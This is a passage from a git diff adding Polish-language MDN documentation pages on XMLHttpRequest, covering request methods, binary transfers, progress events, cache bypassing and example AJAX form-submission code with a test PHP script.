+req.open('GET', 'http://www.mozilla.org/', false);
+req.send(null);
+dump("Content-Type: " + req.getResponseHeader("Content-Type") + "\n");
+
+

abort()

+

Metoda ta służy do anulowania żądania, które jest właśnie wykonywane. +

+
var req = new XMLHttpRequest();
+req.open('GET', 'http://www.mozilla.org/', false);
+req.send(null);
+req.abort();
+
+

mozBackgroundRequest

+

{{ Fx_minversion_inline(3) }} Za pomocą tej własności można wyłączyć okna dialogowe uwierzytelniania i niewłaściwego certyfikatu, które mogą pojawiać się przy wysyłaniu żądania. Żądanie, dla którego ustawiono tę własność, nie będzie ponadto anulowane nawet w przypadku zamknięcia okna, z którego zostało wysłane. Własność ta działa wyłącznie w kodzie chrome. +

+
var req = new XMLHttpRequest();
+req.mozBackgroundRequest = true;
+req.open('GET', 'http://www.mozilla.org/', true);
+req.send(null);
+
+

Zastosowanie w komponentach XPCOM

+
Uwaga: W przypadku korzystania z obiektów XMLHttpRequest w komponentach JavaScript XPCOM wymagane są pewne zmiany.
+

W komponentach JavaScript XPCOM niemożliwe jest utworzenie obiektów XMLHttpRequest za pomocą konstruktora XMLHttpRequest() — nie jest on zdefiniowany wewnątrz komponentów i jego wywołanie powoduje wystąpienie błędu. W celu utworzenia i użycia obiektu należy skorzystać z innej składni. +

Zamiast kodu: +

+
var req = new XMLHttpRequest();
+req.onprogress = onProgress;
+req.onload = onLoad;
+req.onerror = onError;
+req.open("GET", url, true);
+req.send(null);
+
+

należy użyć: +

+
var req = Components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"]
+                    .createInstance(Components.interfaces.nsIXMLHttpRequest);
+req.onprogress = onProgress;
+req.onload = onLoad;
+req.onerror = onError;
+req.open("GET", url, true);
+req.send(null);
+
+

W kodzie w języku C++ można za pomocą metody QueryInterface przesłać komponent do interfejsu nsIEventTarget, aby ustawić procedury obsługi zdarzeń; bezpośrednie korzystanie z kanału jest jednak lepszą techniką. +

+

Ograniczona liczba jednoczesnych połączeń nawiązywanych przez obiekty XMLHttpRequest

+

Maksymalna liczba połączeń, określona w preferencji network.http.max-persistent-connections-per-server (dostępnej w oknie about:config), jest domyślnie ograniczona do 2. Niektóre interaktywne strony internetowe, na których używane są obiekty XMLHttpRequest, mogą podtrzymywać otwarte połączenie. Otwarcie dwóch lub trzech takich stron w osobnych kartach lub oknach może spowodować awarię przeglądarki, w wyniku której zawartość okien nie będzie odświeżana, a sama aplikacja przestanie odpowiadać. +

+

Zawartość binarna

+

Chociaż wysyłanie i odbieranie danych tekstowych jest najbardziej popularnym zastosowaniem obiektu XMLHttpRequest, za jego pomocą można także przesyłać zawartość binarną. +

+

Pobieranie zawartości binarnej

+
// Synchroniczne pobieranie PLIKÓW BINARNYCH za pomocą obiektu XMLHttpRequest
+function load_binary_resource(url) {
+  var req = new XMLHttpRequest();
+  req.open('GET', url, false);
+  //XHR binary charset opt by Marcus Granado 2006 [http://mgran.blogspot.com]
+  req.overrideMimeType('text/plain; charset=x-user-defined');
+  req.send(null);
+  if (req.status != 200) return '';
+  return req.responseText;
+}
+
+var filestream = load_binary_resource(url);
+// x to offset (tzn. pozycja) bajtu w zwróconym strumieniu pliku binarnego.
+// Wartość x powinna mieścić się w zakresie od 0 do filestream.length-1.
+var abyte = filestream.charCodeAt(x) & 0xff; // usunięcie najbardziej znaczącego (górnego) bajtu (f7)
+
+

Szczegółowe wyjaśnienia można znaleźć w artykule dotyczącym pobierania zawartości binarnej za pomocą obiektu XMLHttpRequest. Patrz także Pobieranie plików. +

+

Wysyłanie zawartości binarnej

+

W poniższym przykładzie zawartość binarna jest wysyłana asynchronicznie za pomocą metody POST. Zmienna aBody reprezentuje wysyłane dane.

+
 var req = new XMLHttpRequest();
+ req.open("POST", url, true);
+ // ustawienie odpowiednich nagłówków i typu MIME
+ req.setRequestHeader("Content-Length", 741);
+ req.sendAsBinary(aBody);
+
+

Zawartość binarną można także wysłać, przekazując instancję interfejsu nsIFileInputStream do metody req.send(). W takim przypadku nie jest konieczne ustawienie nagłówka Content-Length:

+
// Tworzenie strumienia z pliku.
+var stream = Components.classes["@mozilla.org/network/file-input-stream;1"]
+                       .createInstance(Components.interfaces.nsIFileInputStream);
+stream.init(file, 0x04 | 0x08, 0644, 0x04); // file to instancja interfejsu nsIFile
+
+// Próba określenia typu MIME pliku
+var mimeType = "text/plain";
+try {
+  var mimeService = Components.classes["@mozilla.org/mime;1"].getService(Components.interfaces.nsIMIMEService);
+  mimeType = mimeService.getTypeFromFile(file); // file to instancja interfejsu nsIFile
+}
+catch(e) { /* W tym przypadku zastosuj po prostu typ text/plain */ }
+
+// Wysłanie
+var req = Components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"]
+                    .createInstance(Components.interfaces.nsIXMLHttpRequest);
+req.open('PUT', url, false); /* synchronicznie! */
+req.setRequestHeader('Content-Type', mimeType);
+req.send(stream);
+

Pomijanie pamięci podręcznej

+

Obiekt XMLHttpRequest próbuje z reguły pobrać zawartość z lokalnej pamięci podręcznej. Aby pominąć tę próbę, należy skorzystać z poniższego kodu: +

+
 var req = new XMLHttpRequest();
+ req.channel.loadFlags |= Components.interfaces.nsIRequest.LOAD_BYPASS_CACHE;
+ req.open('GET', url, false);
+ req.send(null);
+
+

Istnieje także alternatywny sposób pomijania pamięci podręcznej, opisany tutaj: +

+
 var req = new XMLHttpRequest();
+ req.open("GET", url += (url.match(/\?/) == null ? "?" : "&") + (new Date()).getTime(), false);
+ req.send(null);
+
+

Do adresu URL dodawany jest parametr zawierający znacznik czasu (odpowiednio wstawiane są znaki ? i &). Na przykład adres http://foo.com/bar.html jest przekształcany na http://foo.com/bar.html?12345, a http://foo.com/bar.html?foobar=baz zostaje zamieniany na http://foo.com/bar.html?foobar=baz&12345. Lokalna pamięć podręczna jest indeksowana przy użyciu adresów URL; tymczasem, ponieważ każdy adres URL w obiekcie XMLHttpRequest jest niepowtarzalny, pamięć podręczna jest zawsze pomijana. +

+

Pobieranie kodu JSON i JavaScript w rozszerzeniach

+

W rozszerzeniach do przetwarzania pobieranego z sieci kodu JSON lub JavaScript nie należy używać metody eval(). Szczegółowe informacje można znaleźć w artykule Pobieranie kodu JSON i JavaScript w rozszerzeniach. +

+

Odnośniki

+
  1. AJAX: wprowadzenie +
  2. Obiekt XMLHttpRequest - architektura REST i zaawansowane interfejsy użytkownika (artykuł w j. ang.) +
  3. Dokumentacja XULPlanet (artykuł w j. ang.) +
  4. Dokumentacja firmy Microsoft (artykuł w j. ang.) +
  5. Materiały dla programistów Apple (artykuł w j. ang.) +
  6. Korzystanie z obiektu XMLHttpRequest (jibbering.com) (artykuł w j. ang.) +
  7. Obiekt XMLHttpRequest: robocza wersja specyfikacji W3C (artykuł w j. ang.) +
+
+
+{{ languages( { "en": "en/XMLHttpRequest", "es": "es/XMLHttpRequest", "fr": "fr/XMLHttpRequest", "it": "it/XMLHttpRequest", "ja": "ja/XMLHttpRequest", "ko": "ko/XMLHttpRequest", "zh-cn": "cn/XMLHttpRequest" } ) }} diff --git a/files/pl/web/api/xmlhttprequest/using_xmlhttprequest/index.html b/files/pl/web/api/xmlhttprequest/using_xmlhttprequest/index.html new file mode 100644 index 0000000000..b804b9992c --- /dev/null +++ b/files/pl/web/api/xmlhttprequest/using_xmlhttprequest/index.html @@ -0,0 +1,657 @@ +--- +title: Wykorzystanie XMLHttpRequest +slug: XMLHttpRequest/Using_XMLHttpRequest +translation_of: Web/API/XMLHttpRequest/Using_XMLHttpRequest +--- +

XMLHttpRequest makes sending HTTP requests very easy.  You simply create an instance of the object, open a URL, and send the request.  The HTTP status of the result, as well as the result's contents, are available in the request object when the transaction is completed. This page outlines some of the common and even slightly obscure use cases for this powerful JavaScript object.

+
function reqListener () {
+  console.log(this.responseText);
+}
+
+var oReq = new XMLHttpRequest();
+oReq.onload = reqListener;
+oReq.open("get", "yourFile.txt", true);
+oReq.send();
+

Types of requests

+

A request made via XMLHttpRequest can fetch the data in one of two ways, asynchronously or synchronously. The type of request is dictated by the optional async argument (the third argument) that is set on the XMLHttpRequest open() method. If this argument is true or not specified, the XMLHttpRequest is processed asynchronously, otherwise the process is handled synchronously. A detailed discussion and demonstrations of these two types of requests can be found on the synchronous and asynchronous requests page. In general, you should rarely if ever use synchronous requests.

+
+ Note: Starting with Gecko 30.0 {{ geckoRelease("30.0") }}, synchronous requests on the main thread have been deprecated due to the negative effects to the user experience.
+

Handling responses

+

There are several types of response attributes defined by the W3C specification for XMLHttpRequest.  These tell the client making the XMLHttpRequest important information about the status of the response. Some cases where dealing with non-text response types may involve some manipulation and analysis as outlined in the following sections.

+

Analyzing and manipulating the responseXML property

+

If you use XMLHttpRequest to get the content of a remote XML document, the responseXML property will be a DOM Object containing a parsed XML document, which can be hard to manipulate and analyze. There are four primary ways of analyzing this XML document:

+
    +
  1. Using XPath to address (point to) parts of it.
  2. +
  3. Using JXON to convert it into a JavaScript Object tree.
  4. +
  5. Manually Parsing and serializing XML to strings or objects.
  6. +
  7. Using XMLSerializer to serialize DOM trees to strings or to files.
  8. +
  9. RegExp can be used if you always know the content of the XML document beforehand. You might want to remove line breaks, if you use RegExp to scan with regard to linebreaks. However, this method is a "last resort" since if the XML code changes slightly, the method will likely fail.
  10. +
+

Analyzing and manipulating a responseText property containing an HTML document

+
+ Note: The W3C XMLHttpRequest specification allows HTML parsing via the XMLHttpRequest.responseXML property. Read the article about HTML in XMLHttpRequest for details.
+

If you use XMLHttpRequest to get the content of a remote HTML webpage, the responseText property is a string containing a "soup" of all the HTML tags, which can be hard to manipulate and analyze. There are three primary ways of analyzing this HTML soup string:

+
    +
  1. Use the XMLHttpRequest.responseXML property.
  2. +
  3. Inject the content into the body of a document fragment via fragment.body.innerHTML and traverse the DOM of the fragment.
  4. +
  5. RegExp can be used if you always know the content of the HTML responseText beforehand. You might want to remove line breaks, if you use RegExp to scan with regard to linebreaks. However, this method is a "last resort" since if the HTML code changes slightly, the method will likely fail.
  6. +
+

Handling binary data

+

Although XMLHttpRequest is most commonly used to send and receive textual data, it can be used to send and receive binary content. There are several well tested methods for coercing the response of an XMLHttpRequest into sending binary data. These involve utilizing the .overrideMimeType() method on the XMLHttpRequest object and is a workable solution.

+
var oReq = new XMLHttpRequest();
+oReq.open("GET", url, true);
+// retrieve data unprocessed as a binary string
+oReq.overrideMimeType("text/plain; charset=x-user-defined");
+/* ... */
+
+

The XMLHttpRequest Level 2 Specification adds new responseType attributes which make sending and receiving binary data much easier.

+
var oReq = new XMLHttpRequest();
+
+
+oReq.onload = function(e) {
+  var arraybuffer = oReq.response; // not responseText
+  /* ... */
+}
+oReq.open("GET", url, true);
+oReq.responseType = "arraybuffer";
+oReq.send();
+

For more examples check out the Sending and Receiving Binary Data page

+

Monitoring progress

+

XMLHttpRequest provides the ability to listen to various events that can occur while the request is being processed. This includes periodic progress notifications, error notifications, and so forth.

+

Support for DOM progress event monitoring of XMLHttpRequest transfers follows the Web API specification for progress events: these events implement the {{domxref("ProgressEvent")}} interface.

+
var oReq = new XMLHttpRequest();
+
+oReq.addEventListener("progress", updateProgress, false);
+oReq.addEventListener("load", transferComplete, false);
+oReq.addEventListener("error", transferFailed, false);
+oReq.addEventListener("abort", transferCanceled, false);
+
+oReq.open();
+
+// ...
+
+// progress on transfers from the server to the client (downloads)
+function updateProgress (oEvent) {
+  if (oEvent.lengthComputable) {
+    var percentComplete = oEvent.loaded / oEvent.total;
+    // ...
+  } else {
+    // Unable to compute progress information since the total size is unknown
+  }
+}
+
+function transferComplete(evt) {
+  alert("The transfer is complete.");
+}
+
+function transferFailed(evt) {
+  alert("An error occurred while transferring the file.");
+}
+
+function transferCanceled(evt) {
+  alert("The transfer has been canceled by the user.");
+}
+

Lines 3-6 add event listeners for the various events that are sent while performing a data transfer using XMLHttpRequest.

+
+ Note: You need to add the event listeners before calling open() on the request.  Otherwise the progress events will not fire.
+

The progress event handler, specified by the updateProgress() function in this example, receives the total number of bytes to transfer as well as the number of bytes transferred so far in the event's total and loaded fields.  However, if the lengthComputable field is false, the total length is not known and will be zero.

+

Progress events exist for both download and upload transfers. The download events are fired on the XMLHttpRequest object itself, as shown in the above sample. The upload events are fired on the XMLHttpRequest.upload object, as shown below:

+
var oReq = new XMLHttpRequest();
+
+oReq.upload.addEventListener("progress", updateProgress, false);
+oReq.upload.addEventListener("load", transferComplete, false);
+oReq.upload.addEventListener("error", transferFailed, false);
+oReq.upload.addEventListener("abort", transferCanceled, false);
+
+oReq.open();
+
+
+ Note: Progress events are not available for the file: protocol.
+
+ Note: Currently there are open bugs for the progress event that are still affecting version 25 of Firefox on OS X and Linux.
+
+

Note: Starting in {{Gecko("9.0")}}, progress events can now be relied upon to come in for every chunk of data received, including the last chunk in cases in which the last packet is received and the connection closed before the progress event is fired. In this case, the progress event is automatically fired when the load event occurs for that packet. This lets you now reliably monitor progress by only watching the "progress" event.

+
+
+

Note: As of {{Gecko("12.0")}}, if your progress event is called with a responseType of "moz-blob", the value of response is a {{domxref("Blob")}} containing the data received so far.

+
+

One can also detect all three load-ending conditions (abort, load, or error) using the loadend event:

+
req.addEventListener("loadend", loadEnd, false);
+
+function loadEnd(e) {
+  alert("The transfer finished (although we don't know if it succeeded or not).");
+}
+
+

Note that there's no way to be certain from the information received by the loadend event as to which condition caused the operation to terminate; however, you can use this to handle tasks that need to be performed in all end-of-transfer scenarios.

+

Submitting forms and uploading files

+

Instances of XMLHttpRequest can be used to submit forms in two ways:

+ +

The second way (using the FormData API) is the simplest and the fastest, but has the disadvantage that the data collected can not be stringified.
+ The first way is instead the most complex but also lends itself to be the most flexible and powerful.

+

Using nothing but XMLHttpRequest

+

Submitting forms without the FormData API does not require other APIs, except that, only if you want to upload one or more files, the FileReader API.

+

A brief introduction to the submit methods

+

An html {{ HTMLElement("form") }} can be sent in four ways:

+ +

Now, consider to submit a form containing only two fields, named foo and baz. If you are using the POST method, the server will receive a string similar to one of the following three ones depending on the encoding type you are using:

+ +

Instead, if you are using the GET method, a string like the following will be simply added to the URL:

+
?foo=bar&baz=The%20first%20line.%0AThe%20second%20line.
+

A little vanilla framework

+

All these things are done automatically by the web browser whenever you submit a {{ HTMLElement("form") }}. But if you want to do the same things using JavaScript you have to instruct the interpreter about all things. So, how to send forms in pure AJAX is too complex to be explained in detail here. For this reason we posted here a complete (but still didactic) framework, which is able to use all the four ways of submit and, also, to upload files:

+
+
<!doctype html>
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<title>Sending forms with pure AJAX &ndash; MDN</title>
+<script type="text/javascript">
+
+"use strict";
+
+/*\
+|*|
+|*|  :: XMLHttpRequest.prototype.sendAsBinary() Polyfill ::
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest#sendAsBinary()
+\*/
+
+if (!XMLHttpRequest.prototype.sendAsBinary) {
+  XMLHttpRequest.prototype.sendAsBinary = function(sData) {
+    var nBytes = sData.length, ui8Data = new Uint8Array(nBytes);
+    for (var nIdx = 0; nIdx < nBytes; nIdx++) {
+      ui8Data[nIdx] = sData.charCodeAt(nIdx) & 0xff;
+    }
+    /* send as ArrayBufferView...: */
+    this.send(ui8Data);
+    /* ...or as ArrayBuffer (legacy)...: this.send(ui8Data.buffer); */
+  };
+}
+
+/*\
+|*|
+|*|  :: AJAX Form Submit Framework ::
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest
+|*|
+|*|  This framework is released under the GNU Public License, version 3 or later.
+|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
+|*|
+|*|  Syntax:
+|*|
+|*|   AJAXSubmit(HTMLFormElement);
+\*/
+
+var AJAXSubmit = (function () {
+
+  function ajaxSuccess () {
+    /* console.log("AJAXSubmit - Success!"); */
+    alert(this.responseText);
+    /* you can get the serialized data through the "submittedData" custom property: */
+    /* alert(JSON.stringify(this.submittedData)); */
+  }
+
+  function submitData (oData) {
+    /* the AJAX request... */
+    var oAjaxReq = new XMLHttpRequest();
+    oAjaxReq.submittedData = oData;
+    oAjaxReq.onload = ajaxSuccess;
+    if (oData.technique === 0) {
+      /* method is GET */
+      oAjaxReq.open("get", oData.receiver.replace(/(?:\?.*)?$/, oData.segments.length > 0 ? "?" + oData.segments.join("&") : ""), true);
+      oAjaxReq.send(null);
+    } else {
+      /* method is POST */
+      oAjaxReq.open("post", oData.receiver, true);
+      if (oData.technique === 3) {
+        /* enctype is multipart/form-data */
+        var sBoundary = "---------------------------" + Date.now().toString(16);
+        oAjaxReq.setRequestHeader("Content-Type", "multipart\/form-data; boundary=" + sBoundary);
+        oAjaxReq.sendAsBinary("--" + sBoundary + "\r\n" + oData.segments.join("--" + sBoundary + "\r\n") + "--" + sBoundary + "--\r\n");
+      } else {
+        /* enctype is application/x-www-form-urlencoded or text/plain */
+        oAjaxReq.setRequestHeader("Content-Type", oData.contentType);
+        oAjaxReq.send(oData.segments.join(oData.technique === 2 ? "\r\n" : "&"));
+      }
+    }
+  }
+
+  function processStatus (oData) {
+    if (oData.status > 0) { return; }
+    /* the form is now totally serialized! do something before sending it to the server... */
+    /* doSomething(oData); */
+    /* console.log("AJAXSubmit - The form is now serialized. Submitting..."); */
+    submitData (oData);
+  }
+
+  function pushSegment (oFREvt) {
+    this.owner.segments[this.segmentIdx] += oFREvt.target.result + "\r\n";
+    this.owner.status--;
+    processStatus(this.owner);
+  }
+
+  function plainEscape (sText) {
+    /* how should I treat a text/plain form encoding? what characters are not allowed? this is what I suppose...: */
+    /* "4\3\7 - Einstein said E=mc2" ----> "4\\3\\7\ -\ Einstein\ said\ E\=mc2" */
+    return sText.replace(/[\s\=\\]/g, "\\$&");
+  }
+
+  function SubmitRequest (oTarget) {
+    var nFile, sFieldType, oField, oSegmReq, oFile, bIsPost = oTarget.method.toLowerCase() === "post";
+    /* console.log("AJAXSubmit - Serializing form..."); */
+    this.contentType = bIsPost && oTarget.enctype ? oTarget.enctype : "application\/x-www-form-urlencoded";
+    this.technique = bIsPost ? this.contentType === "multipart\/form-data" ? 3 : this.contentType === "text\/plain" ? 2 : 1 : 0;
+    this.receiver = oTarget.action;
+    this.status = 0;
+    this.segments = [];
+    var fFilter = this.technique === 2 ? plainEscape : escape;
+    for (var nItem = 0; nItem < oTarget.elements.length; nItem++) {
+      oField = oTarget.elements[nItem];
+      if (!oField.hasAttribute("name")) { continue; }
+      sFieldType = oField.nodeName.toUpperCase() === "INPUT" ? oField.getAttribute("type").toUpperCase() : "TEXT";
+      if (sFieldType === "FILE" && oField.files.length > 0) {
+        if (this.technique === 3) {
+          /* enctype is multipart/form-data */
+          for (nFile = 0; nFile < oField.files.length; nFile++) {
+            oFile = oField.files[nFile];
+            oSegmReq = new FileReader();
+            /* (custom properties:) */
+            oSegmReq.segmentIdx = this.segments.length;
+            oSegmReq.owner = this;
+            /* (end of custom properties) */
+            oSegmReq.onload = pushSegment;
+            this.segments.push("Content-Disposition: form-data; name=\"" + oField.name + "\"; filename=\""+ oFile.name + "\"\r\nContent-Type: " + oFile.type + "\r\n\r\n");
+            this.status++;
+            oSegmReq.readAsBinaryString(oFile);
+          }
+        } else {
+          /* enctype is application/x-www-form-urlencoded or text/plain or method is GET: files will not be sent! */
+          for (nFile = 0; nFile < oField.files.length; this.segments.push(fFilter(oField.name) + "=" + fFilter(oField.files[nFile++].name)));
+        }
+      } else if ((sFieldType !== "RADIO" && sFieldType !== "CHECKBOX") || oField.checked) {
+        /* field type is not FILE or is FILE but is empty */
+        this.segments.push(
+          this.technique === 3 ? /* enctype is multipart/form-data */
+            "Content-Disposition: form-data; name=\"" + oField.name + "\"\r\n\r\n" + oField.value + "\r\n"
+          : /* enctype is application/x-www-form-urlencoded or text/plain or method is GET */
+            fFilter(oField.name) + "=" + fFilter(oField.value)
+        );
+      }
+    }
+    processStatus(this);
+  }
+
+  return function (oFormElement) {
+    if (!oFormElement.action) { return; }
+    new SubmitRequest(oFormElement);
+  };
+
+})();
+
+</script>
+</head>
+<body>
+
+<h1>Sending forms with pure AJAX</h1>
+
+<h2>Using the GET method</h2>
+
+<form action="register.php" method="get" onsubmit="AJAXSubmit(this); return false;">
+  <fieldset>
+    <legend>Registration example</legend>
+    <p>
+      First name: <input type="text" name="firstname" /><br />
+      Last name: <input type="text" name="lastname" />
+    </p>
+    <p>
+      <input type="submit" value="Submit" />
+    </p>
+  </fieldset>
+</form>
+
+<h2>Using the POST method</h2>
+<h3>Enctype: application/x-www-form-urlencoded (default)</h3>
+
+<form action="register.php" method="post" onsubmit="AJAXSubmit(this); return false;">
+  <fieldset>
+    <legend>Registration example</legend>
+    <p>
+      First name: <input type="text" name="firstname" /><br />
+      Last name: <input type="text" name="lastname" />
+    </p>
+    <p>
+      <input type="submit" value="Submit" />
+    </p>
+  </fieldset>
+</form>
+
+<h3>Enctype: text/plain</h3>
+
+<form action="register.php" method="post" enctype="text/plain" onsubmit="AJAXSubmit(this); return false;">
+  <fieldset>
+    <legend>Registration example</legend>
+    <p>
+      Your name: <input type="text" name="user" />
+    </p>
+    <p>
+      Your message:<br />
+      <textarea name="message" cols="40" rows="8"></textarea>
+    </p>
+    <p>
+      <input type="submit" value="Submit" />
+    </p>
+  </fieldset>
+</form>
+
+<h3>Enctype: multipart/form-data</h3>
+
+<form action="register.php" method="post" enctype="multipart/form-data" onsubmit="AJAXSubmit(this); return false;">
+  <fieldset>
+    <legend>Upload example</legend>
+    <p>
+      First name: <input type="text" name="firstname" /><br />
+      Last name: <input type="text" name="lastname" /><br />
+      Sex:
+      <input id="sex_male" type="radio" name="sex" value="male" /> <label for="sex_male">Male</label>
+      <input id="sex_female" type="radio" name="sex" value="female" /> <label for="sex_female">Female</label><br />
+      Password: <input type="password" name="secret" /><br />
+      What do you prefer:
+      <select name="image_type">
+        <option>Books</option>
+        <option>Cinema</option>
+        <option>TV</option>
+      </select>
+    </p>
+    <p>
+      Post your photos:
+      <input type="file" multiple name="photos[]">
+    </p>
+    <p>
+      <input id="vehicle_bike" type="checkbox" name="vehicle[]" value="Bike" /> <label for="vehicle_bike">I have a bike</label><br />
+      <input id="vehicle_car" type="checkbox" name="vehicle[]" value="Car" /> <label for="vehicle_car">I have a car</label>
+    </p>
+    <p>
+      Describe yourself:<br />
+      <textarea name="description" cols="50" rows="8"></textarea>
+    </p>
+    <p>
+      <input type="submit" value="Submit" />
+    </p>
+  </fieldset>
+</form>
+
+</body>
+</html>
+
+

To test it, create a page named register.php (which is the action attribute of these sample forms) and just put the following minimalistic content:

+
<?php
+/* register.php */
+
+header("Content-type: text/plain");
+
+/*
+NOTE: You should never use `print_r()` in production scripts, or
+otherwise output client-submitted data without sanitizing it first.
+Failing to sanitize can lead to cross-site scripting vulnerabilities.
+*/
+
+echo ":: data received via GET ::\n\n";
+print_r($_GET);
+
+echo "\n\n:: Data received via POST ::\n\n";
+print_r($_POST);
+
+echo "\n\n:: Data received as \"raw\" (text/plain encoding) ::\n\n";
+if (isset($HTTP_RAW_POST_DATA)) { echo $HTTP_RAW_POST_DATA; }
+
+echo "\n\n:: Files received ::\n\n";
+print_r($_FILES);
+
+
+

The syntax of this script is the following:

+
AJAXSubmit(myForm);
+
+ Note: This framework uses the FileReader API to transmit file uploads. This is a recent API and is not implemented in IE9 or below. For this reason, the AJAX-only upload is considered an experimental technique. If you do not need to upload binary files, this framework work fine in most browsers.
+
+ Note: The best way to send binary content is via ArrayBuffers or Blobs in conjuncton with the send() method and possibly the readAsArrayBuffer() method of the FileReader API. But, since the aim of this script is to work with a stringifiable raw data, we used the sendAsBinary() method in conjunction with the readAsBinaryString() method of the FileReader API. As such, the above script makes sense only when you are dealing with small files. If you do not intend to upload binary content, consider instead using the FormData API.
+
+ Note: The non-standard sendAsBinary method is considered deprecated as of Gecko 31 {{ geckoRelease(31) }} and will be removed soon. The standard send(Blob data) method can be used instead.
+

Using FormData objects

+

The FormData constructor lets you compile a set of key/value pairs to send using XMLHttpRequest. Its primarily intended for use in sending form data, but can be used independently from forms in order to transmit keyed data. The transmitted data is in the same format that the form's submit() method would use to send the data if the form's encoding type were set to "multipart/form-data". FormData objects can be utilized in a number of ways with an XMLHttpRequest. For examples and explanations of how one can utilize FormData with XMLHttpRequests see the Using FormData Objects page. For didactic purpose only we post here a translation of the previous example transformed so as to make use of the FormData API. Note the brevity of the code:

+
+
<!doctype html>
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<title>Sending forms with FormData &ndash; MDN</title>
+<script type="text/javascript">
+"use strict";
+
+function ajaxSuccess () {
+  alert(this.responseText);
+}
+
+function AJAXSubmit (oFormElement) {
+  if (!oFormElement.action) { return; }
+  var oReq = new XMLHttpRequest();
+  oReq.onload = ajaxSuccess;
+  if (oFormElement.method.toLowerCase() === "post") {
+    oReq.open("post", oFormElement.action, true);
+    oReq.send(new FormData(oFormElement));
+  } else {
+    var oField, sFieldType, nFile, sSearch = "";
+    for (var nItem = 0; nItem < oFormElement.elements.length; nItem++) {
+      oField = oFormElement.elements[nItem];
+      if (!oField.hasAttribute("name")) { continue; }
+      sFieldType = oField.nodeName.toUpperCase() === "INPUT" ? oField.getAttribute("type").toUpperCase() : "TEXT";
+      if (sFieldType === "FILE") {
+        for (nFile = 0; nFile < oField.files.length; sSearch += "&" + escape(oField.name) + "=" + escape(oField.files[nFile++].name));
+      } else if ((sFieldType !== "RADIO" && sFieldType !== "CHECKBOX") || oField.checked) {
+        sSearch += "&" + escape(oField.name) + "=" + escape(oField.value);
+      }
+    }
+    oReq.open("get", oFormElement.action.replace(/(?:\?.*)?$/, sSearch.replace(/^&/, "?")), true);
+    oReq.send(null);
+  }
+}
+</script>
+</head>
+<body>
+
+<h1>Sending forms with FormData</h1>
+
+<h2>Using the GET method</h2>
+
+<form action="register.php" method="get" onsubmit="AJAXSubmit(this); return false;">
+  <fieldset>
+    <legend>Registration example</legend>
+    <p>
+      First name: <input type="text" name="firstname" /><br />
+      Last name: <input type="text" name="lastname" />
+    </p>
+    <p>
+      <input type="submit" value="Submit" />
+    </p>
+  </fieldset>
+</form>
+
+<h2>Using the POST method</h2>
+<h3>Enctype: application/x-www-form-urlencoded (default)</h3>
+
+<form action="register.php" method="post" onsubmit="AJAXSubmit(this); return false;">
+  <fieldset>
+    <legend>Registration example</legend>
+    <p>
+      First name: <input type="text" name="firstname" /><br />
+      Last name: <input type="text" name="lastname" />
+    </p>
+    <p>
+      <input type="submit" value="Submit" />
+    </p>
+  </fieldset>
+</form>
+
+<h3>Enctype: text/plain</h3>
+
+<p>The text/plain encoding is not supported by the FormData API.</p>
+
+<h3>Enctype: multipart/form-data</h3>
+
+<form action="register.php" method="post" enctype="multipart/form-data" onsubmit="AJAXSubmit(this); return false;">
+  <fieldset>
+    <legend>Upload example</legend>
+    <p>
+      First name: <input type="text" name="firstname" /><br />
+      Last name: <input type="text" name="lastname" /><br />
+      Sex:
+      <input id="sex_male" type="radio" name="sex" value="male" /> <label for="sex_male">Male</label>
+      <input id="sex_female" type="radio" name="sex" value="female" /> <label for="sex_female">Female</label><br />
+      Password: <input type="password" name="secret" /><br />
+      What do you prefer:
+      <select name="image_type">
+        <option>Books</option>
+        <option>Cinema</option>
+        <option>TV</option>
+      </select>
+    </p>
+    <p>
+      Post your photos:
+      <input type="file" multiple name="photos[]">
+    </p>
+    <p>
+      <input id="vehicle_bike" type="checkbox" name="vehicle[]" value="Bike" /> <label for="vehicle_bike">I have a bike</label><br />
+      <input id="vehicle_car" type="checkbox" name="vehicle[]" value="Car" /> <label for="vehicle_car">I have a car</label>
+    </p>
+    <p>
+      Describe yourself:<br />
+      <textarea name="description" cols="50" rows="8"></textarea>
+    </p>
+    <p>
+      <input type="submit" value="Submit" />
+    </p>
+  </fieldset>
+</form>
+
+</body>
+</html>
+
+
+ Note: As we said, {{domxref("FormData")}} objects are not stringifiable objects. If you want to stringify a submitted data, use the previous pure-AJAX example. Note also that, although in this example there are some file {{ HTMLElement("input") }} fields, when you submit a form through the FormData API you do not need to use the FileReader API also: files are automatically loaded and uploaded.
+

Get last modified date

+
function getHeaderTime () {
+  alert(this.getResponseHeader("Last-Modified"));  /* A valid GMTString date or null */
+}
+
+var oReq = new XMLHttpRequest();
+oReq.open("HEAD" /* use HEAD if you only need the headers! */, "yourpage.html", true);
+oReq.onload = getHeaderTime;
+oReq.send();
+

Do something when last modified date changes

+

Let's create these two functions:

+
function getHeaderTime () {
+
+  var
+    nLastVisit = parseFloat(window.localStorage.getItem('lm_' + this.filepath)),
+    nLastModif = Date.parse(this.getResponseHeader("Last-Modified"));
+
+  if (isNaN(nLastVisit) || nLastModif > nLastVisit) {
+    window.localStorage.setItem('lm_' + this.filepath, Date.now());
+    isFinite(nLastVisit) && this.callback(nLastModif, nLastVisit);
+  }
+
+}
+
+function ifHasChanged(sURL, fCallback) {
+  var oReq = new XMLHttpRequest();
+  oReq.open("HEAD" /* use HEAD - we only need the headers! */, sURL, true);
+  oReq.callback = fCallback;
+  oReq.filepath = sURL;
+  oReq.onload = getHeaderTime;
+  oReq.send();
+}
+

Test:

+
/* Let's test the file "yourpage.html"... */
+
+ifHasChanged("yourpage.html", function (nModif, nVisit) {
+  alert("The page '" + this.filepath + "' has been changed on " + (new Date(nModif)).toLocaleString() + "!");
+});
+

If you want to know whether the current page has changed, please read the article about document.lastModified.

+

Cross-site XMLHttpRequest

+

Modern browsers support cross-site requests by implementing the web applications working group's Access Control for Cross-Site Requests standard.  As long as the server is configured to allow requests from your web application's origin, XMLHttpRequest will work.  Otherwise, an INVALID_ACCESS_ERR exception is thrown.

+

Bypassing the cache

+

A, cross-browser compatible approach to bypassing the cache is to append a timestamp to the URL, being sure to include a "?" or "&" as appropriate.  For example:

+
